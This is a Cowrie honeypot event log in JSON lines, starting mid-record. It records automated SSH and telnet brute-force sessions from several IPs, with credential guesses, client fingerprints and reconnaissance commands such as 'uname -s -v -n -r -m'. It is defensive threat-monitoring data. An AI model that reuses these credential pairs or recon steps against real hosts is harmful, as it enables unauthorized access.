16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:37.075157Z","src_ip":"2.57.122.208","session":"93eb3f7db57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:37.411484Z","src_ip":"2.57.122.208","session":"93eb3f7db57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:38.614104Z","src_ip":"2.57.122.208","session":"93eb3f7db57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.144.252.37","src_port":37216,"dst_ip":"159.203.135.109","dst_port":23,"session":"80cee2348268","protocol":"telnet","message":"New connection: 207.144.252.37:37216 (159.203.135.109:23) [session: 80cee2348268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:08.412756Z"}
{"eventid":"cowrie.session.closed","duration":12.163323163986206,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:20.575952Z","src_ip":"207.144.252.37","session":"80cee2348268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":54620,"dst_ip":"10.17.0.5","dst_port":22,"session":"d70e87e3eaff","protocol":"ssh","message":"New connection: 80.94.92.186:54620 (10.17.0.5:22) [session: d70e87e3eaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:29.889704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:30.249836Z","src_ip":"80.94.92.186","session":"d70e87e3eaff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:30.253914Z","src_ip":"80.94.92.186","session":"d70e87e3eaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:31.192050Z","src_ip":"80.94.92.186","session":"d70e87e3eaff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:21:32.792512Z","src_ip":"80.94.92.186","session":"d70e87e3eaff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54396,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf62df4e5d1c","protocol":"ssh","message":"New connection: 14.225.2.125:54396 (10.17.0.5:22) [session: bf62df4e5d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:24.257166Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:24.538795Z","src_ip":"14.225.2.125","session":"bf62df4e5d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54404,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeba468fd18c","protocol":"ssh","message":"New connection: 14.225.2.125:54404 (10.17.0.5:22) [session: aeba468fd18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:24.809504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:24.813741Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:25.089285Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxc123456","message":"login attempt [root/zxc123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:25.912694Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:26.488670Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:26.491398Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:26.767829Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:26.772386Z","src_ip":"14.225.2.125","session":"aeba468fd18c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45410,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b88232a5ec","protocol":"ssh","message":"New connection: 193.32.162.151:45410 (159.203.135.109:22) [session: 27b88232a5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.166683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.171109Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.290332Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pgj-heu05HQM=bMvz","message":"login attempt [root/pgj-heu05HQM=bMvz] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.583357Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.827461Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.830444Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.931908Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:39.936688Z","src_ip":"193.32.162.151","session":"27b88232a5ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44398,"dst_ip":"10.17.0.5","dst_port":22,"session":"efb9133d941d","protocol":"ssh","message":"New connection: 2.57.122.208:44398 (10.17.0.5:22) [session: efb9133d941d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:43.530030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:43.570527Z","src_ip":"2.57.122.208","session":"efb9133d941d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:43.785594Z","src_ip":"2.57.122.208","session":"efb9133d941d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:44.440933Z","src_ip":"2.57.122.208","session":"efb9133d941d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:22:45.602473Z","src_ip":"2.57.122.208","session":"efb9133d941d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":57304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25cb9eded3b","protocol":"ssh","message":"New connection: 80.94.92.186:57304 (10.17.0.5:22) [session: e25cb9eded3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:43.167964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:43.337981Z","src_ip":"80.94.92.186","session":"e25cb9eded3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:43.341605Z","src_ip":"80.94.92.186","session":"e25cb9eded3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"fuckyou","message":"login attempt [solana/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:45.070928Z","src_ip":"80.94.92.186","session":"e25cb9eded3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:46.510097Z","src_ip":"80.94.92.186","session":"e25cb9eded3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33064,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4a0323eec0","protocol":"ssh","message":"New connection: 193.32.162.151:33064 (159.203.135.109:22) [session: 0c4a0323eec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:57.092563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:57.097123Z","src_ip":"193.32.162.151","session":"0c4a0323eec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:57.227276Z","src_ip":"193.32.162.151","session":"0c4a0323eec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:57.936742Z","src_ip":"193.32.162.151","session":"0c4a0323eec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38578,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae2234a24b1","protocol":"ssh","message":"New connection: 2.57.122.208:38578 (10.17.0.5:22) [session: aae2234a24b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:58.660248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:58.776472Z","src_ip":"2.57.122.208","session":"aae2234a24b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:58.779587Z","src_ip":"2.57.122.208","session":"aae2234a24b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:59.101802Z","src_ip":"193.32.162.151","session":"0c4a0323eec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:24:59.354372Z","src_ip":"2.57.122.208","session":"aae2234a24b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:25:00.458425Z","src_ip":"2.57.122.208","session":"aae2234a24b1","protocol":"ssh"}
